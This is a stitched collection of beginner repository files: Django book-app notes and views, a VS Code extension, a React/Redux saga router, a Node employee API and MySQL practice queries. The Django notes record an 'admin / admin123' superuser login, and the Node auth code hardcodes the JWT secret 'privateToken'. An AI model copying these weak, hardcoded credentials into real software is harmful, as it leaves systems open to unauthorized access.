### 11.113 #Next Step: input books app in settings.py ### 3 Steps to do to change the structure of the databases! # 1) Go to terminal and apply: "python manage.py makemigrations books" # 2) "python manage.py sqlmigrate books 0001" # 3) "python manage.py migrate" ### 11.111 How to insert data in DB # All in Terminal: python manage.py shell # from books.models import Book # Book.objects.all() # SEE ALL entries # a = Book() # create a object of Book() # add data to object a #a.name = "Life" #a.author = "ABC" #a.price = "10" #a.type "Business" # Then save with #a.save() ### Check data # a.id # a.pk # In [2]: Book.objects.all() # Out[2]: <QuerySet [<Book: Life-ABC>, <Book: Success-XYZ>]> # In [3]: Book.objects.filter(id=1) # Out[3]: <QuerySet [<Book: Life-ABC>]> ## 11.114 - Admin panel Django # Terminmal: "python manage.py createsuperuser" # admin / admin123 def GetBitcoinRate(): response = requests.get('https://api.coinmarketcap.com/v1/ticker/bitcoin/') data = response.json() return data def GetAnyCoinRate(Coinname): response = requests.get('https://api.coinmarketcap.com/v1/ticker/' + Coinname) data = response.json() return data <file_sep>from django.shortcuts import render from django.http import HttpResponse #import books from .models import Book from .models import GetBitcoinRate #from django.template import loader from django.shortcuts import render from django.http import Http404 #BOOK Overview SIMPLE HTLM def index_old(request): #Get all book objects all_books = Book.objects.all() html = '<h1> OLD INDEX </h1> <br>' for book in all_books: url = '/books/' + str(book.id) + '/' html += '<a href="' + url + '">' + str(book.name) + ' </a> <br>' # returns simple html # return HttpResponse("<h>This is the books homepage</h>") return HttpResponse(html) def index(request): #Get all book objects all_books = Book.objects.all() bitcoinRate = GetBitcoinRate() # 11.128 style: template = loader.get_template('books/index.html') #parse data as a context context = { 'all_books': all_books, 'bitcoinRate': bitcoinRate[0]['price_usd'] } # render the template for us # 11.128 style: return HttpResponse(template.render(context, request)) #this has http response and render function at once return render(request, 'books/index.html', context) #detailed View of Books def detail(request, book_id): try: book = Book.objects.get(id=book_id) except Book.DoesNotExist: raise Http404('This book does not exist') # OLD Return: return HttpResponse("<h2>Details for Book ID:" + str(book_id) + "</h2>") return render(request, 'books/detail.html', {'book': book})
f62c809a5abe741f7b6b55387c43a38c2e85d8ab
[ "Python" ]
4
Python
phipham1/PortfolioTracker
caad906f5aac0420badce7cf12787ebbe0410c0d
7636acd0b39ca2b26b1f8960fb1e196d1cf3cf29
refs/heads/master
<repo_name>sana-ajani/sample-extension<file_sep>/src/extension.ts 'use strict'; import * as vscode from 'vscode'; import { TaskProvider } from './taskProvider'; export async function activate(context: vscode.ExtensionContext) { const taskProvider = new TaskProvider(context); vscode.window.registerTreeDataProvider('taskOutline', taskProvider); vscode.commands.registerCommand('taskOutline.executeTask', task => { console.log(task); vscode.tasks.executeTask(task).then(function (value) { console.log(task); return value; }, function(e) { console.error('Error'); }); }); } export function deactivate() { }
2faa0738079a96eb1e4cfe16aee0079298bb6ad9
[ "TypeScript" ]
1
TypeScript
sana-ajani/sample-extension
308633335ac52471f265f5beb008803cb3eb56ff
3d7feddf7475e969c597a13ff135a2fd764b1c0b
refs/heads/master
<repo_name>beeva-labs/bot-screen<file_sep>/secrets.js exports.YOUTUBE = '<KEY>'; exports.BASE_URL = 'https://c67cac8a2eae1d04f5928b5b1603a36ae49eafede475c07838e278610d7e0a.resindevice.io'; //exports.BASE_URL = 'http://localhost:3000'; exports.BOTANALYTICS = '91fc8cf5c685481d8c556a5e331585fd'; <file_sep>/index.js 'use strict'; if (!process.env.token) { console.log('Error: Specify token in environment'); process.exit(1); } var Botkit = require('botkit'); var os = require('os'); var request = require('request'); var secrets = require('./secrets'); var search = require('./search'); var utils = require('./utils'); var redis = require("redis"), client = redis.createClient(process.env.REDIS_URL); var controller = Botkit.slackbot({ interactive_replies: false, json_file_store: 'db.json', debug: false }); var bot = controller.spawn({ token: process.env.token }).startRTM(); controller.hears(['pausa','parar'], ['direct_message','direct_mention','mention'], function(bot, message) { utils.track(null,message.text,new Date().getTime()) var query = utils.cleanQueryFromCommand(message.text, ['pausa','poner en pausa']); client.set(query, 'pause'); botReply(bot, message, 'Oido cocina, pondremos en pausa ' + query); var content = utils.makeContent('http://horizondatasys.com/images/bsod.jpg'); content.screen = query; utils.sendContentToTVs(content); }); controller.hears(['resumir','play','reproducir','seguir'], ['direct_message','direct_mention','mention'], function(bot, message) { utils.track(null,message.text,new Date().getTime()) var query = utils.cleanQueryFromCommand(message.text, ['resumir','play','reproducir','seguir']); client.set(query, 'play'); botReply(bot, message, 'Okis, volvemos a reproducir de la lista'); }); var imageKeywords = ['imagen', 'image'] controller.hears(imageKeywords, ['direct_message','direct_mention','mention'], function(bot, message) { utils.track(null,message.text,new Date().getTime()) var query = utils.cleanQueryFromCommand(message.text, imageKeywords); if(query.length < 1){ askForQuery(bot, message, 'una imagen', function(actualQuery){ searchAndShowImage(bot, message, actualQuery); }); } else searchAndShowImage(bot, message, query); }); function searchAndShowImage(bot, message, query){ search.searchImage(query, function(err, item){ if(err) saySorry(bot, message); else pickScreenAndSend(bot, message, item); }); } var gifKeywords = ['gif', 'giphy'] controller.hears(gifKeywords, 'direct_message,direct_mention,mention', function(bot, message) { utils.track(null,message.text,new Date().getTime()) var query = utils.cleanQueryFromCommand(message.text, gifKeywords); if(query.length < 1){ askForQuery(bot, message, 'un gif', function(actualQuery){ searchAndShowGif(bot, message, actualQuery); }); } else searchAndShowGif(bot, message, query); }); function searchAndShowGif(bot, message, query){ search.searchGif(query, function(err, item){ if(err) saySorry(bot, message); else pickScreenAndSend(bot, message, item); }); } var videoKeywords = ['video'] controller.hears(videoKeywords, 'direct_message,direct_mention,mention', function(bot, message) { utils.track(null,message.text,new Date().getTime()) var query = utils.cleanQueryFromCommand(message.text, videoKeywords); if(query.length < 1){ askForQuery(bot, message, 'un vídeo en youtube', function(actualQuery){ searchAndShowVideo(bot, message, actualQuery); }); } else searchAndShowVideo(bot, message, query); }); function searchAndShowVideo(bot, message, query){ search.youtube(query, function(err, item){ if(err) saySorry(bot, message); else pickScreenAndSend(bot, message, item); }); } var searchKeywords = ['busca', 'search', 'google', 'web'] controller.hears(searchKeywords, 'direct_message,direct_mention,mention', function(bot, message) { utils.track(null,message.text,new Date().getTime()) var query = utils.cleanQueryFromCommand(message.text, searchKeywords); if(query.length < 1){ askForQuery(bot, message, 'una página web', function(actualQuery){ searchAndShowWeb(bot, message, actualQuery); }); } else searchAndShowWeb(bot, message, query); }); function searchAndShowWeb(bot, message, query){ search.web(query, function(err, item){ if(err) saySorry(bot, message); else pickScreenAndSend(bot, message, item); }); } controller.hears(['ayuda', 'uso', 'instrucciones'], 'direct_message,direct_mention,mention', function(bot, message) { utils.track(null,message.text,new Date().getTime()) botReply(bot, message, 'TBD'); }); controller.on('direct_message,direct_mention,mention', function(bot, message) { utils.track(null,message.text,new Date().getTime()) message.text = message.text.replace('<','').replace('>',''); if(message.text.indexOf('|') > -1) message.text = message.text.substring(0, message.text.indexOf('|')); if(utils.isURL(message.text)){ var content = utils.makeContent(message.text); pickScreenAndSend(bot, message, [content]); } else { askForCommand(bot, message); } }); function askForQuery(bot, message, contentType, callback) { bot.startConversation(message, function(err, convo) { utils.track(message.user, 'Ok, quieres enviar ' + contentType + ' *¿Qué deberia buscar?*', new Date().getTime()); convo.ask('Ok, quieres enviar ' + contentType + ' *¿Qué deberia buscar?*',[ { pattern: 'nada|cancelar|relajate|quieto parado|no', callback: function(response,convo) { utils.track(null, response.text, new Date().getTime()); convo.say('La próxima vez será...'); utils.track(message.user, 'La próxima vez será...', new Date().getTime()); convo.next(); } },{ default: true, callback: function(response,convo) { callback(response.text); convo.next(); } }]); }); } function askForCommand(bot, message) { bot.startConversation(message, function(err, convo) { var askCommand = { 'text': 'Hemos entendido que quieres buscar: *' + message.text + '*', 'attachments':[ { 'title': '¿Donde quieres que busquemos?', 'text': ':one: - Google\n:two: - Youtube\n:three: - Imagenes\n:four: - Gifs\n:negative_squared_cross_mark: - Nada', 'attachment_type': 'default', 'color': '#FF0000' } ] }; convo.ask(askCommand,[ { pattern: '^[xX]{1}|Nada|nada|cancelar|relajate|quieto parado|no', callback: function(response,convo) { utils.track(null, response.text, new Date().getTime()); convo.say('La próxima vez será...'); utils.track(message.user, 'La próxima vez será...', new Date().getTime()); convo.next(); } },{ pattern: 'google|web|1', callback: function(response,convo) { searchAndShowWeb(bot, message, message.text); convo.next(); } },{ pattern: 'youtube|video|2', callback: function(response,convo) { searchAndShowVideo(bot, message, message.text); convo.next(); } },{ pattern: 'imagen|image|picture|3', callback: function(response,convo) { searchAndShowImage(bot, message, message.text); convo.next(); } },{ pattern: 'gif|giphy|4', callback: function(response,convo) { searchAndShowGif(bot, message, message.text); convo.next(); } },{ default: true, callback: function(response,convo) { utils.track(null, response.text, new Date().getTime()); convo.repeat('Introduce un número o escribe la palabra deseada'); utils.track(message.user, 'Introduce un número o escribe la palabra deseada', new Date().getTime()); convo.next(); } }]); }); } function pickScreenAndSend(bot, message, content) { if(content.length < 1) botReply(bot, message, 'No hemos encontrado contenido con esa búsqueda'); else { var previewOfContent = content[0].preview || content[0].content; botReply(bot, message, 'Parece que el contenido que buscas es: ' + previewOfContent); bot.startConversation(message, function(err, convo){ pickScreenAndRoll(convo, content); }); } } function saySorry(bot, message){ botReply(bot, message, 'Fallo de sistema 😨. Pido perdon, no volverá a ocurrir 🤕'); } function pickScreenAndRoll(convo, content){ var actualContent = content.shift(); utils.getTVs(function(screens){ if(screens.length < 1){ convo.say('😢 parece que no tienes ninguna pantalla activa...'); utils.track(convo.user, '😢 parece que no tienes ninguna pantalla activa...', new Date().getTime()); } else { var options = []; var text = ''; // Add tvs screens.forEach(function(screen, index){ // Beacuse humans start counting in 1 index = index + 1; options.push({ pattern: '' + index + '|' + utils.numberToText(index) + '|' + screen.name + '|' + utils.cleanScreenName(screen.name), callback : function(response, convo){ utils.track(null, response.text, new Date().getTime()); actualContent.screen = screen.name; utils.sendContentToTVs(actualContent); convo.say('¡Hecho!'); utils.track(response.user, 'Hecho', new Date().getTime()); convo.next(); } }); text = text + '\n' + utils.numberToEmoji(index) + ' - ' + screen.name; }); if(screens.length > 1){ options.push({ pattern: '^[aA]{1}|all|todos', callback: function(response, convo){ utils.track(null, response.text, new Date().getTime()); utils.sendContentToTVs(actualContent); convo.say('Hecho!!!'); utils.track(response.user, 'Hecho!!!', new Date().getTime()); convo.next(); } }); text = text + '\n:a: - Todos (teclea *a* o *todos*)' } // add swap content option options.push({ pattern: '^[bB]{1}|otro', callback: function(response, convo){ utils.track(null, response.text, new Date().getTime()); if(content.length > 1){ actualContent = content.shift(); var previewOfContent = actualContent.preview || actualContent.content; convo.say('Probemos con: ' + previewOfContent); utils.track(response.user, 'Probemos con: ' + previewOfContent, new Date().getTime()); convo.repeat(); convo.next(); } else { convo.say('No hay mas contenido que te pueda enseñar, haz otra búsqueda'); utils.track(response.user, 'No hay mas contenido que te pueda enseñar, haz otra búsqueda', new Date().getTime()); } convo.next(); } }); text = text + '\n:b: - *Otro* contenido (teclea una *b* u *otro*)' options.push({ default: true, callback: function(response,convo) { utils.track(null, response.text, new Date().getTime()); convo.say('Otra vez será'); utils.track(response.user, 'Otra vez será', new Date().getTime()); convo.next(); } }); var askAboutScreens = { 'text': 'Elegir pantalla o cambiar contenido', 'attachments':[ { 'title': '¿A qué tele enviamos el contenido?', 'text': text, "mrkdwn_in": ["text", "pretext"], 'attachment_type': 'default', 'color': '#AAAAAA' } ] }; convo.ask(askAboutScreens, options); } }); } function botReply(bot, message, text){ bot.reply(message, text); utils.track(message.user, text, new Date().getTime()) } require('./planner.js'); <file_sep>/planner.js 'use strict'; var request = require('request'); var _ = require('underscore'); var redis = require("redis"); var moment = require('moment'); var Queue = require('bull'); var utils = require('./utils'); var client = redis.createClient(process.env.REDIS_URL); var queue = Queue('work work work work work', process.env.REDIS_URL, {}); var startTime, endTime, days; // For debug, remove in production //queue.empty(); //configQueue.empty(); // First execution, when there is nothing programmed function firstDataSending(data) { var screens = getScreensFromData(data); // Program next for each screen screens.forEach(function(screen){ // Filter own videos and all var contents = _.filter(data, function(content){ return content.screens === screen || content.screens === 'all' }); if(contents.length > 0){ var actualContent = contents[0]; // If content marked as all, make to have a particular screen, so we don't interrupt other screens by sending 'all' to the API if(actualContent.screens === 'all') actualContent.screens = screen; // Send contents to the tvs sendContent(actualContent); // program next using the duration of the actual content plus 7s (because delay) queue.add(actualContent, {delay: actualContent.duration * 1000 + 7000}); } }); } queue.process(function(job, done){ client.get(job.data.screens, function(err, reply) { if(reply && reply === 'pause'){ console.log('Pause', job.data.screens); queue.add(job.data, {delay: 5000}); done(); } else { console.log('play', job.data.screens); getData(function(data){ var contents = _.filter(data, function(content){ return content.screens === job.data.screens || content.screens === 'all' }); var indexOfLast = _.findIndex(contents, function(item){ return item.title === job.data.title; }); var indexOfPresentItem = indexOfLast + 1; if(indexOfPresentItem >= contents.length || indexOfPresentItem < 0) indexOfPresentItem = 0; var actualContent = contents[indexOfPresentItem]; if(actualContent.screens === 'all') actualContent.screens = job.data.screens; sendContent(actualContent); queue.add(actualContent, {delay: actualContent.duration * 1000 + 7000}); done(); }); } }); }); // Get the content from the spreadsheet. Returns {title, duration, screens} function getData(callback){ request.get('https://spreadsheets.google.com/feeds/list/10gTx3sPVDLX0qymGQTmu4Awz7pifTTW2PohOWcELST8/od6/public/basic?alt=json', function(err, res, body){ var data = JSON.parse(body); var cleanData = data.feed.entry.map(function(item){ var newItem = {}; newItem.title = item.title['$t']; newItem.duration = item.content['$t'].match(/seconds: (.*),/)[1]; newItem.screens = item.content['$t'].match(/screens: (.*)/)[1]; return newItem; }); callback(cleanData); }); } // Form content and send to the screen function sendContent(rawContent){ var content = utils.makeContent(rawContent.title); content.screen = rawContent.screens; console.log(content); utils.sendContentToTVs(content); } // Extract different screen groups from the contents function getScreensFromData(data){ var allScreens = data.map(function(item){ return item.screens; }); allScreens = _.uniq(allScreens); allScreens = _.without(allScreens, 'all'); return allScreens; } getData(function(data){ firstDataSending(data); });
85e7912583a699f64057549165883229c0d39cb8
[ "JavaScript" ]
3
JavaScript
beeva-labs/bot-screen
f5604b8c47d2839af094b395070c9181806aea6d
685e6c387006c92ff8bb01771e622d9f6b03bce6
refs/heads/master
<file_sep>package com.sck.rpg; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.assets.AssetManager; import com.badlogic.gdx.assets.loaders.TextureLoader; import com.badlogic.gdx.assets.loaders.resolvers.InternalFileHandleResolver; import com.badlogic.gdx.graphics.Texture; import com.badlogic.gdx.maps.tiled.TiledMap; import com.badlogic.gdx.maps.tiled.TmxMapLoader; /** * Created by steph on 8/20/2016. */ public class Utility { public static final AssetManager ASSET_MANAGER = new AssetManager(); public static final String TAG = Utility.class.getSimpleName(); private static InternalFileHandleResolver filePathResolver = new InternalFileHandleResolver(); public static void unloadAsset(String assetFilePath) { // check asset manager has loaded file if (ASSET_MANAGER.isLoaded(assetFilePath)) { ASSET_MANAGER.unload(assetFilePath); } else { Gdx.app.debug(TAG, "Asset is not loaded; Nothing to unload: " + assetFilePath); } } public static float loadCompleted() { return ASSET_MANAGER.getProgress(); } public static int numberAssetsQueued() { return ASSET_MANAGER.getQueuedAssets(); } public static boolean updateAssetLoading() { return ASSET_MANAGER.update(); } public static boolean isAssetLoaded(String fileName) { return ASSET_MANAGER.isLoaded(fileName); } public static void loadMapAsset(String mapFilenamePath) { if (mapFilenamePath == null || mapFilenamePath.isEmpty()) { return; } //load asset if (filePathResolver.resolve(mapFilenamePath).exists()) { ASSET_MANAGER.setLoader(TiledMap.class, new TmxMapLoader(filePathResolver)); ASSET_MANAGER.load(mapFilenamePath, TiledMap.class); //Until we add loading screen, //just block until we load the map ASSET_MANAGER.finishLoadingAsset(mapFilenamePath); Gdx.app.debug(TAG, "Map loaded!: " + mapFilenamePath); } else { Gdx.app.debug(TAG, "Map doesn't exist!: " + mapFilenamePath); } } public static TiledMap getMapAsset(String mapFilenamePath) { TiledMap map = null; // once the asset manager is done loading if (ASSET_MANAGER.isLoaded(mapFilenamePath)) { map = ASSET_MANAGER.get(mapFilenamePath, TiledMap.class); } else { Gdx.app.debug(TAG, "Map is not loaded: " + mapFilenamePath); } return map; } public static void loadTextureAsset(String textureFilenamePath) { if (textureFilenamePath == null || textureFilenamePath.isEmpty()) { return; } //load asset if (filePathResolver.resolve(textureFilenamePath).exists()) { ASSET_MANAGER.setLoader(Texture.class, new TextureLoader(filePathResolver)); ASSET_MANAGER.load(textureFilenamePath, Texture.class); //Until we add loading screen, //just block until we load the map ASSET_MANAGER.finishLoadingAsset(textureFilenamePath); } else { Gdx.app.debug(TAG, "Texture doesn't exist!: " + textureFilenamePath); } } public static Texture getTextureAsset(String textureFilenamePath) { Texture texture = null; // once the asset manager is done loading if (ASSET_MANAGER.isLoaded(textureFilenamePath)) { texture = ASSET_MANAGER.get(textureFilenamePath, Texture.class); } else { Gdx.app.debug(TAG, "Texture is not loaded:" + textureFilenamePath); } return texture; } } <file_sep>libGDX tutorial work * https://libgdx.badlogicgames.com/ * http://patrickhoey.com/blog/portfolio-items/mastering-libgdx-game-development/
ba54267091c0778936ca75a54a40f3ec7630c4c0
[ "Markdown", "Java" ]
2
Java
skincer/rpg
69f5fa87ac6dcc07daad64b253b35ee6e2faf48b
e7ca737313363fdfd73e0b27754e436787c219bd
refs/heads/master
<file_sep>package com.example.StudentLab.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; @RestController public class HelloController { @GetMapping("/") public String helloWorld(){ return "Hello <NAME>. Have a good day :D"; } } <file_sep>package com.example.StudentLab.repository; import com.example.StudentLab.entity.Employee; import org.springframework.data.repository.CrudRepository; import org.springframework.stereotype.Repository; @Repository public interface EmployeeRepository extends CrudRepository<Employee,Long> { }
105e0f72e1b6824a33b417348a081db0e1f893be
[ "Java" ]
2
Java
YtalyPham/SpringBootAPI_KienTrucVaThietKePhanMem
aaa89e8297bfee314e088f62d92ff3fd79f65799
d9b52930693be67a21c7b169c07ec552c9e44584
refs/heads/master
<file_sep>console.log("userService") const user = require("../Model/user") /** * get details from user and create * nedw user in database */ addUser = async (session, userDetails) => { const users = new user(userDetails); await users.save({session:session}); } module.exports = { addUser}<file_sep>const express = require('express'); const authGuard = require('../midddleWares/auth'); const router = new express.Router(); const sessionFactory = require('../midddleWares/sessionFactory') const employeeController = require('../Controller/employeeController'); const cors = require('cors') let corsOptions = { "origin": 'http://localhost:4200', "methods": "GET,PUT,PATCH,POST" } //router.use(cors(corsOptions)); router.use(sessionFactory.createSession); //check the user exists or not router.post('/logIn', employeeController.checkUserExists); //sending email using nodemailer router.post("/sendMail", authGuard.authGuard, employeeController.sendingMail); //create new user to login router.post('/signIn', employeeController.createUser); //logout the session router.delete('/logout', employeeController.logOutSession); // add new Employee to database router.post('/addEmployee', authGuard.authGuard, employeeController.addEmployee); // get all employees from database router.get('/getEmployees', authGuard.authGuard, employeeController.getEmployees); // get specific employee using ID router.get('/getEmployee/:id', authGuard.authGuard, employeeController.getEmployee); // delete specific employe using id router.delete('/deleteEmployee/:id', authGuard.authGuard, employeeController.deleteEmployee); // update specific employee details using id router.put('/updateEmployee/:id', authGuard.authGuard, employeeController.updateEmployee); //read excel file and upload file details into databse router.post("/readExcel", authGuard.authGuard, employeeController.saveExcelValuetoDb) router.use(sessionFactory.commitTransaction) router.use(sessionFactory.abortTransaction) module.exports = router;<file_sep>console.log("customerServivce") const Customer = require("../Model/employeeDetails") /** * get details from user and created new * customer in database */ addCustomer = async (session, userDetails) => { const customer = new Customer(userDetails); await customer.save({session:session}); } module.exports = { addCustomer }<file_sep>const mongoose = require('../db/mangoose') createSession = async(req, res, next) => { console.log("create session........") const session = await mongoose.startSession(); session.startTransaction(); req.currentSession = session; console.log("i am session create") next(); } commitTransaction = async(req, res) => { console.log("commit transaction...........") const session = req.currentSession; await session.commitTransaction(); session.endSession(); } abortTransaction = async (err, req, res, next) => { console.log(err) console.log("aborttransaction...........") const session = req.currentSession; await session.abortTransaction(); session.endSession(); } module.exports = { createSession, commitTransaction, abortTransaction}<file_sep>console.log("employeeService") const Employee = require("../Model/employee") /** * get details from user and create * new employee in database */ addEmployee = async (session, employeeDetails) => { await Employee.create([employeeDetails],{session:session}); } /** * get all employees data from database * @return return all employeedetails as a array */ getEmployees = async() => { let employeesData; try { employeesData = await Employee.find({}) } catch(e) { employeesData = null; } return null; } /** * get specific employee details from database * @param id unique id for each employee * @return employeeData contains specific employeee details as a object. */ getEmployee = async(id) => { let employeeData; try { employeeData = await Employee.findById(id); } catch(e) { employeeData = null; } return employeeData; } /** * delete specific employee basen on id * @param id unique id for each employee * @return boolean true when sucessfully deleted else return false. */ deleteEmployee = async(id) => { isDeleted = false; try { await Employee.findByIdAndDelete(id); isDeleted = true; } catch(e) { console.log(e) } return isDeleted; } module.exports = {addEmployee, getEmployees, getEmployee, deleteEmployee} <file_sep>console.log("i am auth") const jwt = require('jsonwebtoken'); /** * get the token from request and verify authorizded token * or not if authorized token allow to access further request * else return 403 status */ authGuard = async(req, res, next) => { jwt.verify(req.session.token, 'privateToken', async(err, authData) => { if(err) { res.sendStatus(403); } else { currentUser = req.session.user; next(); } }) } module.exports = { authGuard}
990b492f310f8e75cf918e6b9d21e1e6580e4be8
[ "JavaScript" ]
6
JavaScript
Nandhakumar7/employeeProjectinNOdejs
f5e7daa3a694ba043be1b063ba09778cbfb555b8
cbfd160f17bc37592fae4a16003f76e919036c33
refs/heads/master
<repo_name>marcus-sa/React-Redux-Saga-Router<file_sep>/src/routePermission.js export default ({ listOfPermissions, store, prefetch }) => { const connect = (fn) => (nextState, replaceState) => fn(store, nextState, replaceState) function onEnterChain(...listOfOnEnters) { return (nextState, replace, onEnterCb) => { let redirected = false const wrappedReplace = (...args) => { replace(...args) redirected = true } async.eachSeries(listOfOnEnters, (onEnter, callback) => { if (!redirected) { const result = onEnter(store, nextState, wrappedReplace) if (isPromise(result)) return result.then(() => callback(), callback) } callback() }, err => { if (err) return onEnterCb(err) onEnterCb() prefetch() }) } } /*function prefetchIfNeeded() { return prefetch().then(() => ) }*/ /*function checkPermissions(chainedPermissions) { return prefetch().then(() => chainedPermissions) }*/ function enterPermissions() { const permissions = listOfPermissions.map(perm => perm.onEnter || perm) return connect(onEnterChain(...permissions)) } return (component = (props) => props.children) => ({ onEnter: enterPermissions(), getComponent: () => listOfPermissions.reduceRight( (prev, next) => next(prev), component ) }) } <file_sep>/src/routeSaga.js import { all, call, fork, put } from 'redux-saga' import * as actions from './actions' import * as stored from './storedSagas' export function* runStoredSaga({ componentProps }) { /*yield put(navigate.runSaga(props)) const routeSaga = yield select( state => state.sagaRouter[props.component].saga )*/ yield call(stored.getSaga(componentProps.component), componentProps) yield put(actions.stopSaga(componentProps)) } export function* routeSaga() { yield takeLatest(RUN_SAGA, runStoredSaga) } export default function* root() { yield all([ fork(routeSaga) ]) } <file_sep>/test/routes.js import { SagaRouter, SagaRoute } from '../src' import { Loading } from 'containers' export default (history: Object) => ( <SagaRoute path="/" loading={Loading} prefetch={loadAuth} component="./App"> <SagaIndexRoute component={authOrElse(Home, Index)} /> <SagaRoute permissions={userIsNotAuthenticated}> <SagaRoute path="register" component="Register" /> </SagaRoute> <SagaRoute permissions={userIsAuthenticated}> <SagaRoute path="client(/:room)" component="Client" /> <SagaRoute path="settings"> <SagaRoute path="avatars" loading={loading} prefetch={loadAvatars} component="Settings/Avatars" /> {/*<Route path="privacy" getComponent={() => System.import('./containers/Settings/Privacy')} />*/} </SagaRoute> <SagaRoute path="shop"> <SagaIndexRoute loading={Loading} prefetch={loadDiamonds} component="Shop/Diamonds" /> <SagaRoute path="boxes" loading={loading} prefetch={loadBoxes} component="Shop/Boxes" /> </SagaRoute> </SagaRoute> <SagaRoute path="hk/" permissions={allowedInHousekeeping}> </SagaRoute> <SagaRoute path="*" component={NotFound} status={404} /> </SagaRoute> ) <file_sep>/src/reducer.js import merge from 'lodash/object/merge' import { RUN_SAGA, ADD_SAGA } from './constants' import * as stored from './storedSagas' export default (state = {}, action = {}) { switch (action.type) { /*case ADD_SAGA: stored.addSaga(action.props) return { ...state, //[action.props.component]: { //props: action.props, //loading: false //} }*/ case RUN_SAGA: return { ...state, componentProps: action.props, isLoading: true } /*return merge({}, state, { [action.props.component]: { componentProps: action.props isLoading: true } })*/ case STOP_SAGA: return { ...state, isLoading: false } /*return merge({}, state, { [action.props.component]: { isLoading: false } })*/ default: return state } } <file_sep>/README.md react-redux-saga-router <file_sep>/src/constants.js export const RUN_SAGA = '@@sagaRouter/RUN_SAGA' export const STOP_SAGA = '@@sagaRouter/ADD_SAGA' export const ADD_SAGA = '@@sagaRouter/ADD_SAGA' <file_sep>/src/IndexRoute.js export class SagaIndexRoute extends React.Component { render() { } } <file_sep>/src/actions.js import { RUN_SAGA, ADD_SAGA } from './constants' export const stopSaga = (props: Object) => ({ type: STOP_SAGA, props }) export const runSaga = (props: Object) => ({ type: RUN_SAGA, props }) export const addSaga = (props: Object) => ({ type: ADD_SAGA, props })
9503ca2116abf3cf4a504cd107557423ffe143ef
[ "JavaScript", "Markdown" ]
8
JavaScript
marcus-sa/React-Redux-Saga-Router
a4dc9b5863d403acd361741fc64c2c5b8f32d104
ab54dbf850e4b5449729673c9e3d1bded8dd95c5
refs/heads/master
<file_sep>import pandas as pd from pandas import DataFrame import numpy as np import os def readCSV(): DFs = {} for root, dirs, files in os.walk("data/"): for csv in files: df = pd.read_csv("data/" + str(csv), low_memory = False) DFs[str(csv)] = df for df in DFs: fileName = "data/pickled/" + str(df)[:-4] DFs[df].to_pickle(fileName) def readPickles(): DFs = {} for root, dirs, files in os.walk("data/pickled/"): for serial in files: df = pd.read_pickle("data/pickled/" + str(serial)) DFs[str(serial)] = df return DFs readCSV() # readPickles() <file_sep># -*- coding: utf-8 -*- """ Created on Tue Nov 25 19:48:33 2014 @author: Israel This function will load all the necessary python packages """ def tools(): import pandas as pd import matplotlib.pyplot as plt import numpy as np
4bf8b6d66ecbb5b4316261e1f994d58ede6c677d
[ "Python" ]
2
Python
rdawood/IntroDSProject
62081f7bffac27e3ffe0f98685fb7200f2bdf706
653d6912b92ba6c0acd59a67da9e10343148733c
refs/heads/main
<file_sep>use employees; select CONCAT(e.first_name,' ',e.last_name) as full_name, d.dept_name from employees as e join dept_emp as de on e.emp_no = de.emp_no join departments d on d.dept_no = de.dept_no join dept_manager dm on e.emp_no = dm.emp_no where dm.to_date = '9999-01-01' and e.gender = 'F'; select t.title as 'Title', COUNT(*) as 'Head Count' from employees e join dept_emp de on e.emp_no = de.emp_no join departments d on d.dept_no = de.dept_no join titles t on e.emp_no = t.emp_no where de.to_date > NOW() and t.to_date > NOW() and d.dept_name = 'Customer Service' group by t.title;<file_sep>USE employees; SELECT DISTINCT title FROM titles; SELECT DISTINCT last_name FROM employees WHERE last_name LIKE 'E%' AND last_name LIKE '%E' group by last_name; SELECT DISTINCT first_name,last_name FROM employees WHERE last_name LIKE 'E%' AND last_name LIKE '%E' GROUP BY first_name, last_name; SELECT DISTINCT last_name FROM employees WHERE last_name LIKE '%Q%' AND last_name NOT LIKE '%QU%' GROUP BY last_name ORDER BY COUNT(*); SELECT DISTINCT gender,COUNT(gender) AS TOTAL FROM employees group by gender; SELECT DISTINCT COUNT(gender),gender FROM employees WHERE first_name IN ('Irena', 'Vidya', 'Maya') GROUP BY gender; <file_sep>USE employees; select CONCAT(emp_no, ' - ', last_name, ', ' , first_name) as 'full_name', birth_date as 'DOB' from employees limit 10; <file_sep>USE codeup_test_db; DROP TABLE IF EXISTS albums; CREATE table albums( id int unsigned not null auto_increment, artist varchar(100) not null, name varchar(100) not null, release_date int not null, sales decimal(6,3) not null, genre varchar(100), primary key (id) ); CREATE TABLE quotes ( id INT UNSIGNED NOT NULL AUTO_INCREMENT, author_first_name VARCHAR(50) DEFAULT 'NONE', author_last_name VARCHAR(100) NOT NULL, content TEXT NOT NULL, PRIMARY KEY (id) );<file_sep>use employees; SELECT * FROM employees WHERE first_name IN ('Irena', 'Vidya', 'Maya'); SELECT * FROM employees WHERE first_name IN ('Irena', 'Vidya', 'Maya'); SELECT * FROM employees WHERE first_name = 'Irena'OR first_name='Vidya'OR first_name= 'Maya'; SELECT * FROM employees WHERE (first_name = 'Irena'OR first_name='Vidya'OR first_name= 'Maya') AND gender ='M'; SELECT * FROM employees WHERE last_name LIKE 'E%'; SELECT * FROM employees WHERE last_name LIKE 'E%' OR last_name LIKE '%E'; SELECT * FROM employees WHERE last_name LIKE 'E%' AND last_name LIKE '%E'; SELECT * FROM employees WHERE hire_date LIKE '199%'; SELECT * FROM employees WHERE hire_date LIKE '199%' AND birth_date LIKE '%-12-25'; SELECT * FROM employees WHERE last_name LIKE '%Q%'; SELECT * FROM employees WHERE last_name LIKE '%Q%' AND last_name NOT LIKE '%QU%' ;<file_sep>USE employees; SELECT CONCAT(e.first_name, ' ', e.last_name) AS 'Employees'FROM employees e WHERE e.hire_date IN ( SELECT e.hire_date FROM employees e WHERE e.emp_no = 101010 ); SELECT title, COUNT(title)FROM titles WHERE emp_no IN ( SELECT emp_no FROM employees WHERE first_name = 'Aamod') GROUP BY title;<file_sep>use employees; select distinct last_name from employees order by last_name DESC LIMIT 10; SELECT first_name, last_name from employees where hire_date LIKE '199%' AND birth_date LIKE '%12-25' ORDER BY birth_date, hire_date DESC LIMIT 5; select first_name, last_name from employees where hire_date LIKE '199%' AND birth_date LIKE '%12-25' ORDER BY birth_date, hire_date DESC limit 5 OFFSET 45;
40a3b6abde1392924462076c13fbd6cbf5371723
[ "SQL" ]
7
SQL
waltercsmith/database-exercises
3e07bede3b5795d74ce36ff31357908918534149
b2762daaca91d6c3b5cb0d08b8ce13ea8eb032d9
refs/heads/master
